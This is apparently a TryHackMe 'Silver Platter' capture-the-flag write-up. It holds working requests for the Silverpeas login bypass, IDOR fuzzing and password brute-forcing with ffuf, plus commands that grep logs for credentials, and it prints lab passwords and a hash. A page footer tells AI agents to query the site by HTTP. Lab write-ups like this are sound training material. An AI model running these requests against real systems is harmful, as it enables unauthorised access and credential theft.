# Silver Platter Due to the lack of experience and knowledge in this type of challenges; and in the whole offensive security/ethical hacking/penetration testing world, I may make rookie mistakes, or perform unnecessary exploration towards a part of the server that is highly likely to not contain any exploits. Fortunately, I am confident that I will be able to learn a lot from this, and all the subsequent challenges I will be participating in. {% embed url="" %} ## Gaining initial foothold ### 1. General enumeration #### Running nmap on the target IP address ```bash $ nmap -sS -n -v -Pn [target_ip] 80 ... 8080 ... 22 ... ``` The results showed that there were 3 open ports: `22`, `80` and `8080`. **Enumerating SSH** I started off by enumerating SSH at port 22 to find the version number and a potential CVE. ```bash $ nmap -sV -n -Pn [target_ip] ``` After realizing that port 22 was least likely to be the vulnerable service (probably a rookie mistake for thinking that it was the vulnerable one in the first place :D), I went on to visit the website at port 80 instead **Information gathering** After running through the website (port 80) with interception from Burp suite community, I viewed the sitemap generated (**Target** -> **Site map**), but didn't find any useful information. After reading through the text content present, a particular term: **silverpeas**, and the username **scr1ptkiddy** caught my eye. I decided to research about it. **Silverpeas** is an intranet/extranet software application that can be accessible from a simple web browser. It can be used to share documents, for content management, etc. **Enumerating HTTP** ```bash $ nmap [target_ip] -p80 -sV -sS -v -n -Pn PORT STATE SERVICE VERSION 80/tcp open http nginx 1.18.0 (Ubuntu) ... ... ``` From the results obtained in `nmap`above, I tried to lookup for CVEs related to the particular version of **nginx** the web server is running: ***nginx 1.18.0**.* I found the following CVE(s): ***CVE 2021-23017*** *Details* *Exploit code* I tried exploiting the service with the found exploit, but to no avail. ### 2. Enumerating port 80 with common *silverpeas* directories From a quick on Google, I gathered various URL paths that are commonly used on a **silverpeas** application. Using the target IP and port 80 as the main host, I tried visiting the brief list of paths listed below: 1. `/portal` 2. `/portal/login` 3. `admin` 4. `/portal/admin` 5. `/silverpeas` 6. `/silverpeas/portal` All the paths returned status code ***404*** (Not found). ### 3. Concentrating my efforts on port 8080 (running Silverpeas) I decided to explore port 8080 instead. I visited the website at port 8080. After running a quick `nmap` scan, the results shows that it is running a ***http-proxy***. ```bash $ nmap -sV -n -v -Pn -p8080 [target_ip] PORT STATE SERVICE VERSION 8080/tcp open http-proxy ... ``` I went on to try visiting the paths I tried on port 80 previously, and got a positive result for **/silverpeas** — redirection to a login page at `/defaultLogin.jsp` instead of status code 404. I decided to run a quick directory gathering scan on the found URL path with `gobuster`. I utilized a few different word-lists found on Kali Linux, along with a few popular ones that is not part of the default installation: a) /usr/share/wordlists/wfuzz/general/common.txt b) /usr/share/wordlists/dirb/common.txt c) DanielMiessler's SecLists () ```bash $ gobuster dir --url http://[target_ip]:8080/silverpeas/ -w [wordlist] ``` The following paths (only listed a few) gave a positive result with status code of 302 or 200: `/admin`, `/blog`, `/survey`. However, each path simply displays an error message indicating that the request is not conform or is forbidden. **`X-Powered-By` response headers** Even though the path mentioned above gave an error message, I noticed an interesting finding (from chrome network inspection tool). The `X-Powered-By` response headers was returned, and set with the value `JSP/2.3`. **Searching for CVEs and exploits relating to JSP/2.3** I tried using a few Metasploit payloads to no avail: a) `exploit/multi/http/struts_include_params` b) `expoit/multi/http/struts2_content_type_ognl` ### 4. Further research on S*ilverpeas* After much research, I came across a vulnerability listing regarding **silverpeas** authentication bypass: {% embed url="" %} This vulnerability allows authentication bypass by omitting the `password` field to the `AuthenticationServlet` path. After playing around with the website at port 8080, I returned to Burp suite and looked through the gathered URLs. I found a **POST** request to the path: `AuthenticationServlet`, this prompted me to test out the vulnerability I have found previously. I sent the request to the Burp suite *repeater* and modified the request to remove the `Password` field: ```http POST /silverpeas/AuthenticationServlet HTTP/1.1 Host: :8080 Login=scr1ptkiddy&DomainId=0 ``` **Or with cURL**: ```bash $ curl "http://:8080/silverpeas/AuthenticationServlet" -d "Login=scr1ptkiddy&DomainId=0" -H "content-type:application/x-www-form-urlencoded" -v ``` Notice that the `Login` field (presumably the username section) has the value **scr1ptkiddy**, which was found in step 2 (enumerating port 80). **The response is as follows**: ```http ... HTTP/1.1 302 Found Set-Cookie: JSESSIONID=xxx; path=/silverpeas; HttpOnly Set-Cookie: defaultDomain=0; path=/; ... Set-Cookie: svpLogin=scr1ptkiddy; path=/; ... Location: http://:8080/silverpeas/Main//look/jsp/MainFrame.jsp ... ``` Notice that the server returned the following URL value in the `Location` header: `http://:8080/silverpeas/Main//look/jsp/MainFrame.jsp` The following cookies are found from the `Set-Cookie` response headers from the request above, and must be set in the browser (under the ***Console*** tab for Google Chrome) for the dashboard to load. If not set, the page will redirect back to the login page (**\*\*** *the cookie seems to be set automatically when using the proxy browser*): ```javascript chrome-console> document.cookie = "JSESSIONID=xxx; path=/silverpeas"; chrome-console> document.cookie = "defaultDomain=0; path=/; ..."; chrome-console> document.cookie = "svpLogin=scr1ptkiddy; path=/; ..."; ``` I visited the URL, and was navigated to a dashboard at the following URL: `http://:8080/silverpeas/look/jsp/MainFrame.jsp` Now that we have found the dashboard page, and have the apprioprate cookies set in the browser, we can proceed to enumerate the webpage further, and gather more information. Furthermore, with the cookies set, this means that we are authenticated, and we are able to perform vulnerability exploit that requires authentication. ### How I found the SSH credentials (to gain an unprivileged shell on the server) `tim` `cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol` **Method 1: CVE 2023-47323** {% embed url="" %} **Note** that this method is ran as the regular user ***scr1ptkiddy*** (appropriate cookies should be set in the browser or cURL request). Through the proof-of-concept detailed in the link above, I iterated through the URL with different ID values. I found that the ID value of ***6*** displays the SSH credentials: `http://10.10.105.62:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=6`
**Testing the results with wfuzz:** ```bash $ wfuzz -z range,1-100 -u "http://:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=FUZZ" -H "Cookie: JSESSIONID=xxx; path=/silverpeas; HttpOnly; defaultDomain=0; path=/; ... svpLogin=scr1ptkiddy; path=/; ..." ``` The results from ***wfuzz*** showed a bunch of results with the content length (under the ***Chars*** header in the output) of **13201** and **13202**. Thus, I decided to filter the results to only show those response with more than **13202** characters. (using the `--filter` flag): ```bash $ wfuzz ... --filter "h>13202" # further filter can be made with value 13760 $ wfuzz ... --filter "h>13760" ``` The results will either display 2-3 responses, or a single response. By now, it should be clear from the results that the payload value of ***6*** have the highest content length. **Method 2: Reading the plain-text SSH password in message notification as the user "Manager"** I explored the page and found that there is another user named ***Manager***, and an administrator named ***Administrateur***. I tried logging in as the administrator by replacing the `Login` data field in the **POST** request with the values: *administrator*, *Administrator*, *administrateur* and *Administrateur*. The response simply returned the login page URL in the ***Location*** response headers - indicating a failed login attempt: I tried to login as the user *Manager* instead: ```http POST /silverpeas/AuthenticationServlet HTTP/1.1 Host: :8080 Login=Manager&DomainId=0 ``` I received a similar response headers value as before (with the user ***scr1ptkiddy***), with the `Set-Cookie` and `Location` headers, etc. The only difference in the response is that the *svpLogin* field in the *Set-Cookie* cookie changed to ***Manager***, and a different *JSESSIONID* was returned. The *Location* response headers was the same as with the user **scr1ptkiddy** (...`/silverpeas/Main//look/jsp/MainFrame.jsp`). After setting the cookie values on the browser console the same way as before, I navigated to the URL (in the *Location* field of the response headers), and was presented with a dashboard as the user ***Manager***. I went on to read the message notifications and found the SSH credentials in plain-text. ### 5. Alternative method for initial foothold **Experimenting with CeWL** 1\. Generating a custom word list Note: Run against port **80** (Main website) instead of the Silverpeas application at port **8080**. ```bash $ cewl http://:80 -w passwords.txt ``` 2\. Utilizing ***ffuf*** to use the generated passwords word list to crack the password for the ***scr1ptkiddy*** user. ```bash $ ffuf ... -w -u http://:8080/silverpeas/AuthenticationServlet -X POST -H "content-type:application/x-www-form-urlencoded" -d "Login=scr1ptkiddy&Password=FUZZ&DomainId=0" ``` A bulk of the responses from ***ffuf*** appears to have the same status, size, words and lines (as shown from the output format). Thus, I tried a few methods to possibly filter a positive response: ***Match status codes 200-209*** `-mc 200,209` ```bash $ ffuf -mc 200,209 ... ``` This option does not work. It seems that a positive response also returns the same status code as the negative responses.
***Filter regular expression patterns present in response*** `-fr "ErrorCode"` *Other possible options* `-fr "Login"` - does not work since the word *Login* is present in the positive response `-fr "Login\?"` - Matches the pattern *Login?*, which is only present in the negative responses 
$ ffuf -fr "ErrorCode" ...
This option works to return a positive match for the password: `adipiscing`. Using the found password with the username ***scr1ptkidd***, allows us to login to the dashboard. The method to retrieve the SSH credentials (refer to the details above - **CVE 2023-47323**) can be applied as the newly authenticated user. {% embed url="" %} ***Other CVEs to explore:*** {% embed url="" %} ## Privilege Escalation {% embed url="" %} ### 1. *adm* group After running a few enumeration commands (), I found out that the current user (***tim***) is in the ***adm*** group through the `id` command. ```bash tim@silver-patter:~$ id uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm) ``` The ***adm*** group permissions allows the current user to read some files in the `/var/log` file. These files may contain sensitive log information, and are usually not readable by common users. 
tim@silver-patter:~$ cd /var/log

# look for all files with the case-insensitive string "password"
tim@silver-platter:/var/log$ grep -irl --exclude-dir=journal password 2>/dev/null

# print all lines with the case-insensitive string "password"
tim@silver-platter:/var/log$ grep -ir password
Found in `/var/log/auth.log.2:` `Dec 13 15:45:57 silver-platter sudo: tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database silverpeas:6.3.1` I tried to access the Postgresql database, but it appears that the common CLI tools associated with Postgesql is not installed on the system. ```bash $ psql $ pgcli $ pgbench $ pg_restore ... Command ... not found, but can be installed with: ... Please ask your administrator ``` Instead, I tried the found password: `_Zd_zx7N823/` on the user ***tyler*** via SSH, and it worked! After gaining a shell with the user ***tyler***, I ran a few commands to check the privileges of this user. It appears the this user can run all commands with `sudo` privileges. Using the command `sudo su root`, I gained ***root*** access. ```bash # user is in the sudo group tyler@silver-platter~$ id uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) tyler@silver-platter~$ sudo -l ... ... User tyler may run the following commands on silver-platter: (ALL : ALL) ALL tyler@silver-platter~$ sudo su root root@silver-platter:/home/tyler# ``` To further my learning, I decided to continue enumerating the system as the user ***tim***, and try to find other privilege escalation vectors. ### 2. `/usr/bin/mount` with *SUID* I thought of the idea to mount a malicious shellcode via the attacker machine's NFS share, before executing the shellcode from the target machine to retrieve a root shell. However, superuser privileges are required to use the `mount` command. *Refer to the following*: {% embed url="" %} {% embed url="" %} ### 3. `/var/log/installer/autoinstall-user-data` Through manual enumeration of the files in each of the directories under the `/var/log` directory, I found an autoinstall configuration file that contains a hashed password string: ```yaml hostname: silver-platter password: $6$uJuA1kpnd4kTFniw$/402iWwKzcYD8AMHG6bY/PXwZWOkrrVmtoO7qQpfvVLh1CHmiKUodwMGP7/awDYtrzpDHV8cNbpS1HJ6VMakN. realname: root username: tyler ``` Found hashed password: `$6$uJuA1kpnd4kTFniw$/402iWwKzcYD8AMHG6bY/PXwZWOkrrVmtoO7qQpfvVLh1CHmiKUodwMGP7/awDYtrzpDHV8cNbpS1HJ6VMakN.` According to the room description, the system has a strong password policy. Thus, it will be really difficult and non-viable to try a password brute-force cracking attempt on this hash. ### Conclusion It seems that there is only 1 vector for privilege escalation. --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking-concepts/challenge-write-ups/tryhackme/silver-platter.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.